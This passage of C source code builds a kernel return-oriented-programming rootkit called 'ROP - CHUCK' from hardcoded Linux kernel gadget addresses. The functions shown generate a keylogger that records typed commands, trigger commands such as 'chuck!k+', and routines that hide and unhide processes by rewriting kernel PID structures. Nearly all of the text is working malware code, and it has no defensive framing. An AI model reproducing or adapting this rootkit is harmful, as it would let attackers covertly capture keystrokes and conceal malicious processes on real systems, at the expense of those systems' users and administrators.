    // Command must be set (0x1)
    generate_pop(fake_stack, fake_stack_size, REG_RBX);
    add_to_fake_stack(0x1, fake_stack, fake_stack_size);
   
    // Check
    // Must be patched later on
    jmp_no_command = (*fake_stack);
    generate_conditional_jump_not_equal(fake_stack, fake_stack_size, 0x0);
    jmp_no_command_size = (*fake_stack_size);
   
    // Check if the buffer matches the given command
    // Get the current stack pointer.
    add_to_fake_stack(0xffffffff812ce0c8, fake_stack, fake_stack_size);     // PUSH RSP; POP RDX; RET;

    // Load distance to command into RDI
    // You have to update this constant in case you add gadgets in
    // between.
    add_to_fake_stack(0xffffffff810b2703, fake_stack, fake_stack_size);     // POP RDI, RET;
    add_to_fake_stack(12 * 8, fake_stack, fake_stack_size);                 // DISTANCE TO CMD

    // Move SP from RDX to RAX
    add_to_fake_stack(0xffffffff81091536, fake_stack, fake_stack_size);     // MOV RAX, RDX; RET;

    // Add RAX (SP) to RDI (distance)
    // Notice that RDI is also the first argument
    // for printk!
    add_to_fake_stack(0xffffffff811c98de, fake_stack, fake_stack_size);     // ADD RDI, RAX; MOV RAX, RDI; RET;

    // Load current command into RSI
    add_to_fake_stack(0xffffffff81343c9e, fake_stack, fake_stack_size);     // POP RSI, RET;
    add_patch_entry(fake_stack, fake_stack_size, BUFFER, 0);                // Create a patch entry
    add_to_fake_stack(0x0, fake_stack, fake_stack_size);                    // BEGIN OF BUFFER,
                                                                            // must be overwritten
    // Load length into RDX
    add_to_fake_stack(0xffffffff812ce029, fake_stack, fake_stack_size);     // POP RDX; RET
    add_to_fake_stack(0x8, fake_stack, fake_stack_size);                    // Offset

    // Load Address of 'strncmp' into RAX
    add_to_fake_stack(0xffffffff8100a4de, fake_stack, fake_stack_size);     // POP RAX; RET;
    add_to_fake_stack(0xffffffff8134ef40, fake_stack, fake_stack_size);     // Address of strncmp

    // "Call" strncmp
    add_to_fake_stack(0xffffffff81000110, fake_stack, fake_stack_size);     // JMP RAX;

    // POP Command and continue
    add_to_fake_stack(0xffffffff810b2703, fake_stack, fake_stack_size);     // POP RDI, RET;
    add_to_fake_stack(command, fake_stack, fake_stack_size);                // The command
   
    // Jump over the pop rax gadget from below, as RAX was set by
    // strcmp
    add_to_fake_stack(0xffffffff81352d33, fake_stack, fake_stack_size);     // ADD RSP, 0x10; RET
   
    // Patch jump
    generate_conditional_jump_not_equal(&jmp_no_command,
                                        &jmp_no_command_size,
                                        (*fake_stack_size) - jmp_no_command_size);
   
    // The conditional jump lands here
    // Set RAX to something != 0
    generate_pop(fake_stack, fake_stack_size, REG_RAX);
    add_to_fake_stack(0x1, fake_stack, fake_stack_size);
}

/**
 * Generates the keylogging sequence.
 *
 * This function generates the keylogging seqeunce. As this is a very
 * specific sequence that expects various coditions to be met before
 * it is executed, the function should only be called from the payload chain.
 *
 * This gadget uses ALL general purpose registers!
 *
 * IMPORTANT: This function is NOT stack safe!
 *
 * @param fake_stack The fake stack the gadget will be added to.
 * @param fake_stack_size The size of the fake stack.
 */
static void generate_keylog(void **fake_stack, u32 *fake_stack_size)
{
    // Jump vars
    void *jmp_no_newline = 0;
    u32 jmp_no_newline_size = 0;
   
    void *jmp_no_keylog = 0;
    u32 jmp_no_keylog_size = 0;
   
    void *jmp_no_keylog_set = 0;
    u32 jmp_no_keylog_set_size = 0;
   
    void *jmp_no_keylog_unset = 0;
    u32 jmp_no_keylog_unset_size = 0;
   
    void *jmp_no_debug = 0;
    u32 jmp_no_debug_size = 0;
   
    // Status
    printf("\t[*] Generating keylogging gadget sequence...\n");
   
    // ================================================================
    // >> NEWLINE PROCESSING
    // ----------------------------------------------------------------
   
    // ----------------------------------------------------------------
    // Check for newline
    // ----------------------------------------------------------------
    // First we reset command to 0
    generate_pop(fake_stack, fake_stack_size, REG_RAX);
    add_to_fake_stack(0x0, fake_stack, fake_stack_size);
    generate_set_state_value(fake_stack, fake_stack_size,
                             COMMAND, REG_RAX);
   
    // Load the current index into rdi
    generate_get_state_value(fake_stack, fake_stack_size,
                             BUFFER_INDEX, REG_RDI);
   
    // Substract 1 as we want the last character.
    generate_substract_value(fake_stack, fake_stack_size,
                             0x1, REG_RDI);
   
    // Load the base address into rax
    generate_pop(fake_stack, fake_stack_size, REG_RAX);
    add_patch_entry(fake_stack, fake_stack_size, BUFFER, 0);             // Create a patch entry
    add_to_fake_stack(0x0, fake_stack, fake_stack_size);                 // BUFFER,
                                                                         // must be overwritten
   
    // Increase the buffer by the current index - 1
    add_to_fake_stack(0xffffffff8104c41d, fake_stack, fake_stack_size);  // ADD RAX, RDI; RET
   
    // Get the data
    add_to_fake_stack(0xffffffff81074b56, fake_stack, fake_stack_size);  // MOV RAX, [RAX]; RET
   
    // Only execute the next part if RAX == 13 ("\r")
    // RBX must contain the value to compare with
    generate_pop(fake_stack, fake_stack_size, REG_RBX);
    add_to_fake_stack(13, fake_stack, fake_stack_size);
   
    // RDX must contain the value to compare
    generate_move_from_rax(fake_stack, fake_stack_size, REG_RDX);
   
    jmp_no_newline = (*fake_stack);
    generate_conditional_jump_not_equal(fake_stack, fake_stack_size, 0x0);
    jmp_no_newline_size = (*fake_stack_size);
   
    // ----------------------------------------------------------------
    // React to newline
    // ----------------------------------------------------------------
    // This part is only execute if we encountered a newline character
    // Replace the \r character
    // Load the current index into rdi
    generate_get_state_value(fake_stack, fake_stack_size,
                             BUFFER_INDEX, REG_RDI);
   
    // Substract 1 as we want the last character.
    generate_substract_value(fake_stack, fake_stack_size,
                             0x1, REG_RDI);
   
    // Load the base address into rax
    generate_pop(fake_stack, fake_stack_size, REG_RAX);
    add_patch_entry(fake_stack, fake_stack_size, BUFFER, 0);             // Create a patch entry
    add_to_fake_stack(0x0, fake_stack, fake_stack_size);                 // BUFFER,
                                                                         // must be overwritten
   
    // Increase the buffer by the current index - 1
    add_to_fake_stack(0xffffffff8104c41d, fake_stack, fake_stack_size);  // ADD RAX, RDI; RET
   
    // Move RAX to RSI
    generate_move_from_rax(fake_stack, fake_stack_size, REG_RSI);
   
    // Move zero into RAX
    generate_pop(fake_stack, fake_stack_size, REG_RAX);
    add_to_fake_stack(0x0, fake_stack, fake_stack_size);               
   
    // Move into the buffer
    add_to_fake_stack(0xffffffff8102eaa1, fake_stack, fake_stack_size);     // MOV [RSI],RAX;
                                                                            // XOR EAX,EAX;
                                                                            // RET;
    // Reset the BUFFER_INDEX
    generate_pop(fake_stack, fake_stack_size, REG_RAX);
    add_to_fake_stack(0x0, fake_stack, fake_stack_size);
    generate_set_state_value(fake_stack, fake_stack_size,
                             BUFFER_INDEX, REG_RAX);
   
    // Set Command to 1
    generate_pop(fake_stack, fake_stack_size, REG_RAX);
    add_to_fake_stack(0x1, fake_stack, fake_stack_size);
    generate_set_state_value(fake_stack, fake_stack_size,
                             COMMAND, REG_RAX);
      
    // ----------------------------------------------------------------
    // Log command if enabled
    // ----------------------------------------------------------------
    // Check wether keylogging is enabled (KEYLOG == 1)
    // RBX: Value to compare with
    // RDX: Value to compare
    generate_pop(fake_stack, fake_stack_size, REG_RBX);
    add_to_fake_stack(0x1, fake_stack, fake_stack_size);
   
    // Load value of keylog
    generate_get_state_value(fake_stack, fake_stack_size,
                             KEYLOG, REG_RDX);
   
    // Check
    // Must be patched later on
    jmp_no_keylog = (*fake_stack);
    generate_conditional_jump_not_equal(fake_stack, fake_stack_size, 0x0);
    jmp_no_keylog_size = (*fake_stack_size);
   
    // Load command address
    generate_pop(fake_stack, fake_stack_size, REG_RSI);
    add_patch_entry(fake_stack, fake_stack_size, BUFFER, 0);             // Create a patch entry
    add_to_fake_stack(0x0, fake_stack, fake_stack_size);                 // BUFFER,
                                                                         // must be overwritten
   
    // Print command
    // Use to %% characters such that the %s is interpreted
    // during run-time.
    generate_printk(fake_stack, fake_stack_size,
                    "[ ROP - CHUCK ] [ KEYLOGGER ] COMMAND: %%s\n");
                                                                        
   
    // Patch the jumps
    generate_conditional_jump_not_equal(&jmp_no_newline,
                                        &jmp_no_newline_size,
                                        (*fake_stack_size) - jmp_no_newline_size);
   
    generate_conditional_jump_not_equal(&jmp_no_keylog,
                                        &jmp_no_keylog_size,
                                        (*fake_stack_size) - jmp_no_keylog_size);
   
    // ----------------------------------------------------------------
    // << NEWLINE PROCESSING DONE
    // ================================================================
   
    // ================================================================
    // >> CHECK COMMAND
    // ----------------------------------------------------------------
   
    // ----------------------------------------------------------------
    // Enable keylogging
    // ----------------------------------------------------------------
    // Check if the buffer contains the command 'chuck!k+', which will
    // enable keylogging.
    generate_check_command(fake_stack, fake_stack_size,
                           0x2b6b216b63756863);
   
    // Result is within RAX. Move it to RDX for the comparison
    generate_move_from_rax(fake_stack, fake_stack_size, REG_RDX);
   
    // Load value to compare with into RBX (0x0)
    generate_pop(fake_stack, fake_stack_size, REG_RBX);
    add_to_fake_stack(0x0, fake_stack, fake_stack_size);
   
    // Jump over the remainder if the command does not match
    jmp_no_keylog_set = (*fake_stack);
    generate_conditional_jump_not_equal(fake_stack, fake_stack_size, 0x0);
    jmp_no_keylog_set_size = (*fake_stack_size);
   
    // Enable keylogging.
    generate_pop(fake_stack, fake_stack_size, REG_RAX);
    add_to_fake_stack(0x1, fake_stack, fake_stack_size);
    generate_set_state_value(fake_stack, fake_stack_size,
                             KEYLOG, REG_RAX);
   
    // Destory command to avoid that debug strings are printed twice
    generate_pop(fake_stack, fake_stack_size, REG_RAX);
    add_to_fake_stack(0x0, fake_stack, fake_stack_size);
    generate_set_state_value(fake_stack, fake_stack_size,
                             BUFFER, REG_RAX);
   
    // Debug output if enabled
    // RDX: Value to compare
    // RBX: Value to compare with
    generate_get_state_value(fake_stack, fake_stack_size,
                             DEBUG, REG_RDX);
   
    // Load value to compare with into RBX (0x1)
    generate_pop(fake_stack, fake_stack_size, REG_RBX);
    add_to_fake_stack(0x1, fake_stack, fake_stack_size);
   
    // Jump over the remainder if debugging is off
    jmp_no_debug = (*fake_stack);
    generate_conditional_jump_not_equal(fake_stack, fake_stack_size, 0x0);
    jmp_no_debug_size = (*fake_stack_size);
   
    generate_printk(fake_stack, fake_stack_size,
                    "[ ROP - CHUCK ] [ DEBUG ] Enabled keylogging!\n");
   
    // Patch jumps
    generate_conditional_jump_not_equal(&jmp_no_keylog_set,
                                        &jmp_no_keylog_set_size,
                                        (*fake_stack_size) - jmp_no_keylog_set_size);
   
    generate_conditional_jump_not_equal(&jmp_no_debug,
                                        &jmp_no_debug_size,
                                        (*fake_stack_size) - jmp_no_debug_size);
   
    // ----------------------------------------------------------------
    // Disable keylogging
    // ----------------------------------------------------------------
    // Check if the buffer contains the command 'chuck!k<space>', which will
    // disable keylogging.
    generate_check_command(fake_stack, fake_stack_size,
                           0x2d6b216b63756863);
   
    // Result is within RAX. Move it to RDX for the comparison
    generate_move_from_rax(fake_stack, fake_stack_size, REG_RDX);
   
    // Load value to compare with into RBX (0x0)
    generate_pop(fake_stack, fake_stack_size, REG_RBX);
    add_to_fake_stack(0x0, fake_stack, fake_stack_size);
   
    // Jump over the remainder if the command does not match
    jmp_no_keylog_unset = (*fake_stack);
    generate_conditional_jump_not_equal(fake_stack, fake_stack_size, 0x0);
    jmp_no_keylog_unset_size = (*fake_stack_size);
   
    // Disable keylogging.
    generate_pop(fake_stack, fake_stack_size, REG_RAX);
    add_to_fake_stack(0x0, fake_stack, fake_stack_size);
    generate_set_state_value(fake_stack, fake_stack_size,
                             KEYLOG, REG_RAX);
   
    // Destory command to avoid that debug strings are printed twice
    generate_pop(fake_stack, fake_stack_size, REG_RAX);
    add_to_fake_stack(0x0, fake_stack, fake_stack_size);
    generate_set_state_value(fake_stack, fake_stack_size,
                             BUFFER, REG_RAX);
   
    // Debug output if enabled
    // RDX: Value to compare
    // RBX: Value to compare with
    generate_get_state_value(fake_stack, fake_stack_size,
                             DEBUG, REG_RDX);
   
    // Load value to compare with into RBX (0x1)
    generate_pop(fake_stack, fake_stack_size, REG_RBX);
    add_to_fake_stack(0x1, fake_stack, fake_stack_size);
   
    // Jump over the remainder if debugging is off
    jmp_no_debug = (*fake_stack);
    generate_conditional_jump_not_equal(fake_stack, fake_stack_size, 0x0);
    jmp_no_debug_size = (*fake_stack_size);
   
    generate_printk(fake_stack, fake_stack_size,
                    "[ ROP - CHUCK ] [ DEBUG ] Disabled keylogging!\n");
   
    // Patch jumps
    generate_conditional_jump_not_equal(&jmp_no_keylog_unset,
                                        &jmp_no_keylog_unset_size,
                                        (*fake_stack_size) - jmp_no_keylog_unset_size);
   
    generate_conditional_jump_not_equal(&jmp_no_debug,
                                        &jmp_no_debug_size,
                                        (*fake_stack_size) - jmp_no_debug_size);
   
    // ----------------------------------------------------------------
    // << CHECK COMMAND DONE
    // ================================================================
}

/**
 * Generates the unhide_task gadget sequence.
 * 
 * This function generates the unhide_task_seqeunce. As this is a very
 * specific sequence that expects various coditions to be met before
 * it is executed, the function should only be called from the payload chain.
 *
 * This gadget uses ALL general purpose registers!
 *
 * IMPORTANT: This function is NOT stack safe!
 *
 * @param fake_stack The fake stack the gadget will be added to.
 * @param fake_stack_size The size of the fake stack.
 */
static void generate_unhide_task(void **fake_stack, u32 *fake_stack_size)
{
    // These variables are used for the jump over the entire block
    void *jmp_not_command = 0;
    u32 jmp_not_command_size = 0;
   
    // Jmp over debug sections
    void *jmp_no_debug = 0;
    u32 jmp_no_debug_size = 0;
   
    // Jump if we hid the PID
    void *jmp_pid_unhid = 0;
    u32 jmp_pid_unhid_size = 0;
   
    // Loop variables
    void *jmp_not_found = 0;
    u32 jmp_not_found_size = 0;
   
    void *jmp_found = 0;
    u32 jmp_found_size = 0;
   
    // loop begin
    u32 loop_begin = 0;

    // Status
    printf("\t[*] Generating unhide task gadget sequence...\n");
   
    // ==============================================================
    // >> CHECK COMMAND 
    // --------------------------------------------------------------
    // Check if the command matches chuck!h-
    generate_check_command(fake_stack, fake_stack_size,
                           0x2068216b63756863);                               // chuck!h<space>

    // RAX now contains the result
    // If the strings do not match (RAX != 0) we want to jump over this
    // snippet!
    // RBX must hold the value to compare with
    // RDX must hold the value to be compared
    // -> Move RAX to RDX
    generate_move_from_rax(fake_stack, fake_stack_size, REG_RDX);
   
    // Load value to compare with into RBX (0x0)
    generate_pop(fake_stack, fake_stack_size, REG_RBX);
    add_to_fake_stack(0x0, fake_stack, fake_stack_size);
   
    jmp_not_command = (*fake_stack);
    generate_conditional_jump_not_equal(fake_stack, fake_stack_size, 0x0);
    jmp_not_command_size = (*fake_stack_size);
    // ----------------------------------------------------------------
    // << CHECK COMMAND DONE
    // ================================================================

 

    // ================================================================
    // >> PARSE PID
    // ----------------------------------------------------------------
    // Parse PID, we use kstrtou16 for this purpose
    // RDI = address of string, RSI = base, RDX = address of result

    // setup RDI with address
    add_to_fake_stack(0xffffffff810b2703, fake_stack, fake_stack_size);     // POP RDI, RET;
    add_patch_entry(fake_stack, fake_stack_size, BUFFER, 8);                // Create a patch entry
                                                                            // The PID begins 8 bytes
                                                                            // behind "chuck!u<space>"
    add_to_fake_stack(0x0, fake_stack, fake_stack_size);                    // BEGIN OF PID,
                                                                            // must be overwritten
    // Load base into RSI
    add_to_fake_stack(0xffffffff81343c9e, fake_stack, fake_stack_size);     // POP RSI, RET;
    add_to_fake_stack(0xa, fake_stack, fake_stack_size);                    // The base is 10

    // Load address into RDX
    add_to_fake_stack(0xffffffff812ce029, fake_stack, fake_stack_size);     // POP RDX
    add_patch_entry(fake_stack, fake_stack_size, PID_PARSE, 0);             // Create a patch entry
    add_to_fake_stack(0x0, fake_stack, fake_stack_size);                    // PID_PARSE,
                                                                            // must be overwritten

    // Load Address of 'kstrtou16' into RAX
    add_to_fake_stack(0xffffffff8100a4de, fake_stack, fake_stack_size);     // POP RAX; RET;
    add_to_fake_stack(0xffffffff81358f60, fake_stack, fake_stack_size);     // Address of kstrtou16

    // "Call" kstrtou16
    add_to_fake_stack(0xffffffff81000110, fake_stack, fake_stack_size);     // JMP RAX;
    // *PID_PARSE now containe the parsed PID
   
    // ----------------------------------------------------------------
    // << PARSE PID DONE
    // ================================================================

 

    // ================================================================
    // >> DEBUG
    // ----------------------------------------------------------------
    // Debug output if enabled
    // RDX: Value to compare
    // RBX: Value to compare with
    generate_get_state_value(fake_stack, fake_stack_size,
                             DEBUG, REG_RDX);
   
    // Load value to compare with into RBX (0x1)
    generate_pop(fake_stack, fake_stack_size, REG_RBX);
    add_to_fake_stack(0x1, fake_stack, fake_stack_size);
   
    // Jump over the remainder if debugging is off
    jmp_no_debug = (*fake_stack);
    generate_conditional_jump_not_equal(fake_stack, fake_stack_size, 0x0);
    jmp_no_debug_size = (*fake_stack_size);
   
    // Move the value of PID_PARSE into RSI
    generate_get_state_value(fake_stack, fake_stack_size,
                             PID_PARSE, REG_RSI);
   
    // Use %% here to actually print the PID
    generate_printk(fake_stack, fake_stack_size,
                    "[ ROP - CHUCK ] [ DEBUG ] Unhiding process with PID %%d\n");
   
    // Patch the jump from above
    generate_conditional_jump_not_equal(&jmp_no_debug,
                                        &jmp_no_debug_size,
                                        (*fake_stack_size) - jmp_no_debug_size);

    // ----------------------------------------------------------------
    // << DEBUG DONE
    // ================================================================    

 

    // ================================================================
    // >> PID UNHIDING
    // ----------------------------------------------------------------
    // To unhide the process we will try to find its PID within the
    // PID array and then reset the PID within its task struct to the
    // original value. For this to work, we need a search loop.
   
    // ----------------------------------------------------------------
    // SEARCH LOOP
    // ----------------------------------------------------------------
    generate_pop(fake_stack, fake_stack_size, REG_RSI);
    add_to_fake_stack(0x0, fake_stack, fake_stack_size);                         // Counter is zero at the
                                                                                 // beginning.
   
    // LOOP_BEGIN:
    loop_begin = (*fake_stack_size);
   
    // Did we reach the end of the array? To see this, we have to
    // compare PID_INDEX with the current counter value.
    // First we load PROC_INDEX into RBX.
    generate_get_state_value(fake_stack, fake_stack_size,
                             PID_INDEX, REG_RBX);
   
    // Next we load the counter (RSI) into RDX
    generate_move_to_rax(fake_stack, fake_stack_size, REG_RSI);
    generate_move_from_rax(fake_stack, fake_stack_size, REG_RDX);
   
    // Compare. If match goto NOT_FOUND
    jmp_not_found = (*fake_stack);
    generate_conditional_jump_equal(fake_stack, fake_stack_size, 0x0);
    jmp_not_found_size = (*fake_stack_size);
   
    // This code is only executed if this is a valid entry.
    // Load the compare value into RBX.
    generate_get_state_value(fake_stack, fake_stack_size,
                             PID_PARSE, REG_RBX);
   
    // Load the base address of the array into RAX
    generate_pop(fake_stack, fake_stack_size, REG_RAX);                          // POP RAX; RET;
    add_patch_entry(fake_stack, fake_stack_size, PID_ARRAY, 0x0);
    add_to_fake_stack(0x0, fake_stack, fake_stack_size);                         // Will be overwritten
   
    // Add the current index to the base address
    add_to_fake_stack(0xffffffff81047bfa, fake_stack, fake_stack_size);          // ADD RAX, RSI; RET;
   
    // Get the value at the calculated address.
    add_to_fake_stack(0xffffffff81074b56, fake_stack, fake_stack_size);          // MOV RAX, [RAX]; RET
   
    // Load the compare value into RDX
    generate_move_from_rax(fake_stack, fake_stack_size, REG_RDX);
   
    // Check wether the value match. If we found the entry, we jump
    // to FOUND.
    jmp_found = (*fake_stack);
    generate_conditional_jump_equal(fake_stack, fake_stack_size, 0x0);
    jmp_found_size = (*fake_stack_size);
   
    // This part is only executed if this is not the entry we are
    // looking for.
    // Increase the counter such that it points to the next entry.
    // Each entry is 16 bytes long, thus we increase by 16.
    generate_add_value(fake_stack, fake_stack_size, 16, REG_RSI);
   
    // Jump back up to LOOP_BEGIN
    generate_stack_decrement(fake_stack, fake_stack_size,
                             (*fake_stack_size) - loop_begin);
   
    // ----------------------------------------------------------------
    // FOUND:
    // ----------------------------------------------------------------
    // Update Jump Found
    generate_conditional_jump_equal(&jmp_found,
                                    &jmp_found_size,
                                    (*fake_stack_size) - jmp_found_size);
   
    // Save RSI. (The index)
    generate_set_state_value(fake_stack, fake_stack_size,
                             TMP, REG_RSI);
   
    // Reload RSI
    generate_get_state_value(fake_stack, fake_stack_size,
                             TMP, REG_RSI);
   
    // The entry we are looking for is specified by RSI, which is the
    // offset of the entry from the beginning of the array. We want
    // the PID struct value of the entry, which is 8 bytes behind the
    // position where RSI currently points to. Thus we first increment
    // RSI.
    generate_add_value(fake_stack, fake_stack_size, 8, REG_RSI);
   
    // Next we load the base address into RAX
    generate_pop(fake_stack, fake_stack_size, REG_RAX);                          // POP RAX; RET;
    add_patch_entry(fake_stack, fake_stack_size, PID_ARRAY, 0x0);
    add_to_fake_stack(0x0, fake_stack, fake_stack_size);                         // Will be overwritten
   
    // Add the current index to the base address
    add_to_fake_stack(0xffffffff81047bfa, fake_stack, fake_stack_size);          // ADD RAX, RSI; RET;
   
    // Get the VALUE at the address.
    add_to_fake_stack(0xffffffff81074b56, fake_stack, fake_stack_size);          // MOV RAX, [RAX]; RET
   
    // RAX now contains the PID_STRUCT pointer!
   
    // Unhide the PID
    // Set pid_struct->number[0].nr to the PID within PID_PARSE
    // For our kernel this is pointer + 0x30   
    // Load offset (0x30) into RDI
    add_to_fake_stack(0xffffffff8135469f, fake_stack, fake_stack_size);          // POP RDI; RET
    add_to_fake_stack(0x30, fake_stack, fake_stack_size);                        // OFFSET

    // Add offset to pointer
    add_to_fake_stack(0xffffffff8104c41d, fake_stack, fake_stack_size);          // ADD RAX, RDI; RET
    // RAX now points to the correct location
   
    // Move to RSI
    generate_move_from_rax(fake_stack, fake_stack_size, REG_RSI);

    // Load correct PID into RAX
    generate_get_state_value(fake_stack, fake_stack_size,
                             PID_PARSE, REG_RAX);
   
    // Move!
    add_to_fake_stack(0xffffffff8102eaa1, fake_stack, fake_stack_size);          // MOV [RSI],RAX;
                                                                                 // XOR EAX,EAX;
                                                                                 // RET;     
    // Process should now be unhidden!
   
    // Next we have to fix the PID_ARRAY, we use memcopy for this purpose.
    // RDI (to): PID_ARRAY + INDEX
    // RSI (from): PID_ARRAY + INDEX + 16 (after the current index)
    // RDX (size): PID_INDEX - INDEX -16
   
    // RSI first
    // Get Index
    generate_get_state_value(fake_stack, fake_stack_size,
                             TMP, REG_RSI);
   
    // Add 16
    generate_add_value(fake_stack, fake_stack_size,
                       16, REG_RSI);
   
    // Next we load the base address into RAX
    generate_pop(fake_stack, fake_stack_size, REG_RAX);                          // POP RAX; RET;
    add_patch_entry(fake_stack, fake_stack_size, PID_ARRAY, 0x0);
    add_to_fake_stack(0x0, fake_stack, fake_stack_size);                         // Will be overwritten
   
    // Add the current index to the base address
    add_to_fake_stack(0xffffffff81047bfa, fake_stack, fake_stack_size);          // ADD RAX, RSI; RET;
   
    // Move to RSI
    generate_move_from_rax(fake_stack, fake_stack_size, REG_RSI);
    // RSI set.
   
    // Now RDI. Load Index
    generate_get_state_value_unsafe(fake_stack, fake_stack_size,
                                    TMP, REG_RDI);
   
    // Next we load the base address into RAX
    generate_pop(fake_stack, fake_stack_size, REG_RAX);                          // POP RAX; RET;
    add_patch_entry(fake_stack, fake_stack_size, PID_ARRAY, 0x0);
    add_to_fake_stack(0x0, fake_stack, fake_stack_size);                         // Will be overwritten
   
    // Add to RDI.
    add_to_fake_stack(0xffffffff811c98de, fake_stack, fake_stack_size);          // ADD RDI, RAX;
                                                                                 // MOV RAX,RDI;
                                                                                 // RET;
   
    // Finally RDX
    generate_get_state_value_unsafe(fake_stack, fake_stack_size,
                                    TMP, REG_RDX);
   
    // Add 16 to RDX
    // Do this unsafe to keep RDI in tact.
    generate_add_value_unsafe(fake_stack, fake_stack_size,
                              16, REG_RDX);
   
    // Load PID_INDEX
    // Notice that this sequence must be after the load RDX sequence!
    generate_get_state_value_unsafe(fake_stack, fake_stack_size,
                                    PID_INDEX, REG_RAX);
   
    // Substract RDX from RAX
    add_to_fake_stack(0xffffffff81079357, fake_stack, fake_stack_size);         // SUB RAX, RDX; RET;
   
    // Move to RDX
    generate_move_from_rax_unsafe(fake_stack, fake_stack_size, REG_RDX);
   
    // Call memcopy
    add_to_fake_stack(0xffffffff8100a4de, fake_stack, fake_stack_size);         // POP RAX; RET;
    add_to_fake_stack(0xffffffff81354190, fake_stack, fake_stack_size);         // Address of memcpy

    // "Call" find_get_pid
    add_to_fake_stack(0xffffffff81000110, fake_stack, fake_stack_size);         // JMP RAX;
   
    // Finally we have to update the PID_INDEX
    generate_get_state_value(fake_stack, fake_stack_size,
                             PID_INDEX, REG_RAX);
   
    // Substract 0x16
    generate_substract_value(fake_stack, fake_stack_size,
                             16, REG_RAX);
   
    // Update
    generate_set_state_value(fake_stack, fake_stack_size,
                             PID_INDEX, REG_RAX);
    // ----------------------------------------------------------------
    // << PID UNHIDING DONE
    // ================================================================

 

    // ================================================================
    // >> EPILOG
    // ----------------------------------------------------------------
    // Finally we have to patch the conditional jumps that jumps over
    // the entire sequence, if the command entered is not chuck!u.
    // IMPORTANT: Do not update the fake_stack pointers, as we overwrite
    // an existing area
   
    // Jump over the remainder in case we unhid the PID
    // must be patched later on!
    jmp_pid_unhid = (*fake_stack);
    generate_stack_increment(fake_stack, fake_stack_size, 0x0);
    jmp_pid_unhid_size = (*fake_stack_size);
   
    // First if we could not find the PID
    generate_conditional_jump_equal(&jmp_not_found,
                                    &jmp_not_found_size,
                                    (*fake_stack_size) - jmp_not_found_size);
   
    // Debug output if enabled
    // RDX: Value to compare
    // RBX: Value to compare with
    generate_get_state_value(fake_stack, fake_stack_size,
                             DEBUG, REG_RDX);
   
    // Load value to compare with into RBX (0x1)
    generate_pop(fake_stack, fake_stack_size, REG_RBX);
    add_to_fake_stack(0x1, fake_stack, fake_stack_size);
   
    // Jump over the remainder if debugging is off
    jmp_no_debug = (*fake_stack);
    generate_conditional_jump_not_equal(fake_stack, fake_stack_size, 0x0);
    jmp_no_debug_size = (*fake_stack_size);
   
    // Move the value of PID_PARSE into RSI
    generate_get_state_value(fake_stack, fake_stack_size,
                             PID_PARSE, REG_RSI);
   
    // Use %% here to actually print the PID
    generate_printk(fake_stack, fake_stack_size,
                    "[ ROP - CHUCK ] [ DEBUG ] Could not find process with PID %%d!\n");
   
    // Patch the jump from above
    generate_conditional_jump_not_equal(&jmp_no_debug,
                                        &jmp_no_debug_size,
                                        (*fake_stack_size) - jmp_no_debug_size);
   
   
    // Now the jump that is executed if this is not a hide command
    generate_conditional_jump_not_equal(&jmp_not_command,
                                        &jmp_not_command_size,
                                        (*fake_stack_size) - jmp_not_command_size);
   
    // Finally the stack increment
    generate_stack_increment(&jmp_pid_unhid,
                             &jmp_pid_unhid_size,
                             (*fake_stack_size) - jmp_pid_unhid_size);
}

/**
 * Generates the hide_task gadget sequence.
 *
 * This function generates the hide_task seqeunce. As this is a very
 * specific sequence that expects various coditions to be met before
 * it is executed, the function should only be called from the payload chain.
 *
 * This gadget uses ALL general purpose registers!
 *
 * IMPORTANT: This function is NOT stack safe!
 *
 * @param fake_stack The fake stack the gadget will be added to.
 * @param fake_stack_size The size of the fake stack.
 */
static void generate_hide_task(void **fake_stack, u32 *fake_stack_size)
{
    // These variables are used for the jump over the entire block
    void *jmp_not_command = 0;
    u32 jmp_not_command_size = 0;
   
    // Jmp over debug sections
    void *jmp_no_debug = 0;
    u32 jmp_no_debug_size = 0;

    // Jump if we did not find a valid PID
    void *jmp_no_valid_pid = 0;
    u32 jmp_no_valid_pid_size = 0;
   
    // Jump if we hid the PID
    void *jmp_pid_hid = 0;
    u32 jmp_pid_hid_size = 0;

    // Status
    printf("\t[*] Generating hide task gadget sequence...\n");
   
    // ==============================================================
    // >> CHECK COMMAND 
    // --------------------------------------------------------------
    // Check if the command matches chuck!H
    generate_check_command(fake_stack, fake_stack_size,
                           0x2048216b63756863);                               // chuck!H<space>

    // RAX now contains the result
    // If the strings do not match (RAX != 0) we want to jump over this
    // snippet!
    // RBX must hold the value to compare with
    // RDX must hold the value to be compared
    // -> Move RAX to RDX
    generate_move_from_rax(fake_stack, fake_stack_size, REG_RDX);
   
    // Load value to compare with into RBX (0x0)
    generate_pop(fake_stack, fake_stack_size, REG_RBX);
    add_to_fake_stack(0x0, fake_stack, fake_stack_size);
   
    jmp_not_command = (*fake_stack);
    generate_conditional_jump_not_equal(fake_stack, fake_stack_size, 0x0);
    jmp_not_command_size = (*fake_stack_size);
    // ----------------------------------------------------------------
    // << CHECK COMMAND DONE
    // ================================================================

 

    // ================================================================
    // >> PARSE PID
    // ----------------------------------------------------------------
    // Parse PID, we use kstrtou16 for this purpose
    // RDI = address of string, RSI = base, RDX = address of result

    // setup RDI with address
    add_to_fake_stack(0xffffffff810b2703, fake_stack, fake_stack_size);     // POP RDI, RET;
    add_patch_entry(fake_stack, fake_stack_size, BUFFER, 8);                // Create a patch entry
                                                                            // The PID begins 8 bytes
                                                                            // behind "chuck!h<space>"
    add_to_fake_stack(0x0, fake_stack, fake_stack_size);                    // BEGIN OF PID,
                                                                            // must be overwritten
    // Load base into RSI
    add_to_fake_stack(0xffffffff81343c9e, fake_stack, fake_stack_size);     // POP RSI, RET;
    add_to_fake_stack(0xa, fake_stack, fake_stack_size);                    // The base is 10

    // Load address into RDX
    add_to_fake_stack(0xffffffff812ce029, fake_stack, fake_stack_size);     // POP RDX
    add_patch_entry(fake_stack, fake_stack_size, PID_PARSE, 0);             // Create a patch entry
    add_to_fake_stack(0x0, fake_stack, fake_stack_size);                    // PID_PARSE,
                                                                            // must be overwritten

    // Load Address of 'kstrtou16' into RAX
    add_to_fake_stack(0xffffffff8100a4de, fake_stack, fake_stack_size);     // POP RAX; RET;
    add_to_fake_stack(0xffffffff81358f60, fake_stack, fake_stack_size);     // Address of kstrtou16

    // "Call" kstrtou16
    add_to_fake_stack(0xffffffff81000110, fake_stack, fake_stack_size);     // JMP RAX;
    // *PID_PARSE now containe the parsed PID
   
    // ----------------------------------------------------------------
    // << PARSE PID DONE
    // ================================================================

 

    // ================================================================
    // >> DEBUG
    // ----------------------------------------------------------------
